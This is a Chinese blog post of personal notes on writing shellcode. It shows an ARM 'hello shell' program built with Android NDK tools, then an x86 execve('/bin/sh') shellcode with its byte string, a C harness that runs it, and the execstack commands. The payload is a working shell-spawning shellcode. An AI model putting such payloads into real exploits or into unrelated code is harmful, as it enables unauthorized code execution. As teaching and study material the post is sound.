shellcode 編寫(xiě),測(cè)試成功

  1. 使用 windows SDK 內(nèi)的 as.exe ld.exe 命令,生成可執(zhí)行文件,然后導(dǎo)入到手機(jī)內(nèi)測(cè)試

E:\task\dirtycow\androidtest>E:\andorid\android-ndk-r10e\toolchains\arm-linux-an droideabi-4.8\prebuilt\windows-x86_64\arm-linux-androideabi\bin\as.exe -o .\main test.o .\maintest.s
E:\task\dirtycow\androidtest>E:\andorid\android-ndk-r10e\toolchains\arm-linux-an droideabi-4.8\prebuilt\windows-x86_64\arm-linux-androideabi\bin\ld.exe -o .\main test .\maintest.o

http://blog.csdn.net/lwanttowin/article/details/78639763 arm 匯編編寫(xiě)詳細(xì) 1
http://blog.csdn.net/lwanttowin/article/details/78640252 2

    .section .text          // 輸出 helloworld 
    .global _start  
      
    _start:  
      
        # _write()  
        mov     r2, #16      //size  
        adr     r1, ascii    //void* buf  
        mov     r0, #0x1     //fd  
        mov     r7, #0x4     //syscall addr  
        svc     0  
      
        # _exit()  
        sub r0, r0, r0  
        mov     r7, $0x1  
        svc 0  
      
    ascii:  
    .string "hello shell\n"  
    .balign 4  

然后將 main 導(dǎo)入到手機(jī),執(zhí)行

  1. x86 shellcode 編寫(xiě)
section .text
    bits 32
    global _start

_start:
    jmp short GotoCall

shellcode:
    pop esi 
    xor eax, eax
    mov ecx, eax
    mov edx, eax
    mov byte al, 0x0b
    mov ebx, esi
    int 0x80

GotoCall:
    call shellcode
    db '/bin/sh'

編譯成 x86 32 位:
~/upx_test/shellcode$ nasm -f elf oncemm.asm // 編譯為 .o 文件
~/upx_test/shellcode$ ld -m elf_i386 -s -o oncemm oncemm.o // 生成 32 位的可執(zhí)行文件
~/upx_test/shellcode$ objdump -d oncemm // 查看段二進(jìn)制

#include <stdio.h>
char sc[]="\xeb\x0d\x5e\x31\xc0\x89\xc1\x89\xc2\xb0\x0b\x89\xf3\xcd\x80\xe8\xee\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";

int main() {
  void (*fp) (void) = (void (*)(void))sc;
  // printf("--length: %u /n", strlen(shellcode));
  // fp=(void *)shellcode;
  fp();
}

~/upx_test/shellcode$ gcc -o main main.c // 生成可執(zhí)行文件 main
~/upx_test/shellcode$ sudo apt-get install execstack // 安裝 execstack
~/upx_test/shellcode$ execstack -s main // 搞一下
~/upx_test/shellcode$ ./main // 然后就看到了效果

參考:
https://bbs.ichunqiu.com/thread-23863-1-1.html?from=beef
http://blog.csdn.net/qq_29343201/article/details/52209935

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書(shū)系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容